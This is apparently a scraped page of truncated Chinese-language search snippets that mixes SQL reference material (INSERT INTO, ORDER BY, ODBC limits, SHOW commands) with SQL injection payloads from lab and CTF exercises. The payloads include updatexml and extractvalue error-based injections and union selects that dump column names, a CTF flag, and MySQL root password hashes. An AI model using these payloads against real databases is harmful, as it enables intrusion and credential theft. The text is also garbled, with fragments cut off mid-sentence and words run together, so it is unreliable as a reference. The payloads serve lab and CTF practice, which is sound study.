http://127.0.0.1/sql1/Less-46/?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)--+ 1. 查看username,password字段下的所有值 http://127.0.0.1/sql1/Less-46/?sort=1 and updatexml(1,concat(0x7e,(se...
ORDER BY City; INSERTINTO 插入语句 该INSERT INTO语句用于在表中插入新记录。 INSERT语法 可以INSERT INTO 用两种方式编写语句: 1- 指定要插入的列名和值: INSERT INTOtable_name(column1, column2, column3, ...)VALUES(value1, value2, value3, ...); 2-如果要为表的所有列添加值,则无需在 SQL 查...
columns where table_name='flag'))) --+ 得到了列名只有:flag 6、爆字段内容 代码语言:javascript 代码运行次数:0 运行 AI代码解释 http://challenge-0d31b44317053ed4.sandbox.ctfhub.com:10080/?id=-1 union select 1,extractvalue(1,concat(0x7e,(select flag from flag))) --+ 这个时候查询 flag ...
SQL_MAX_COLUMNS_IN_ORDER_BY 2.0 一个SQLUSMALLINT 值,该值指定 ORDER BY 子句中允许的最大列数。 如果没有指定的限制或限制未知,则此值设置为零。符合FIPS 入口级别的驱动程序至少将返回 6。 符合 FIPS 中间级别的驱动程序将至少返回 15 个。 SQL_MAX_COLUMNS_IN_SELECT 2.0 一个SQLUSMALLINT 值,该值...
'union select 1,column_name from information_schema.columns where table_name='abc'#; 查询当前数据库下数据表abc的字段user的数据: 'union select 1,user from abc#; 查询MySQL的root用户和密码hash值: 'union select user,authentication_string from mysql.user# ...
1.select column_name from information_schema.columns where table_schema=‘database_name’ and table_name=‘users’; 2.select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘flag’; ...
and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='表名' limit 0,1and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='admin') 查询字段内容 an...
SHOW COLUMNS SHOW CONNECTIONS SHOW CREATE TABLE SHOW CREDENTIALS SHOW DATABASES SHOW FUNCTIONS SHOW GROUPS 顯示位置 SHOW PARTITIONS SHOW PROVIDERS SHOW RECIPIENTS SHOW SCHEMAS SHOW SHARES SHOW SHARES IN PROVIDER SHOW TABLE EXTENDED SHOW TABLES SHOW TABLES DROPPED SHOW TBLPROPERTIES SHOW USERS SHOW VIEWS ...
ORDER BY columns_name --按列排序 LIMIT start, row_count --对结果进行限定,start表示从哪行开始,row_count表示结果行数 【基础用法】 【举个栗子_1】有一张学生表student,包括学生id,姓名,年龄,班级,分数字段,下面用SQL来查找数据吧。 student表 ...
ORDERBYProductNameDESC; Try it Yourself » ORDER BY Several Columns The following SQL statement selects all customers from the "Customers" table, sorted by the "Country" and the "CustomerName" column. This means that it orders by Country, but if some rows have the same Country, it orders...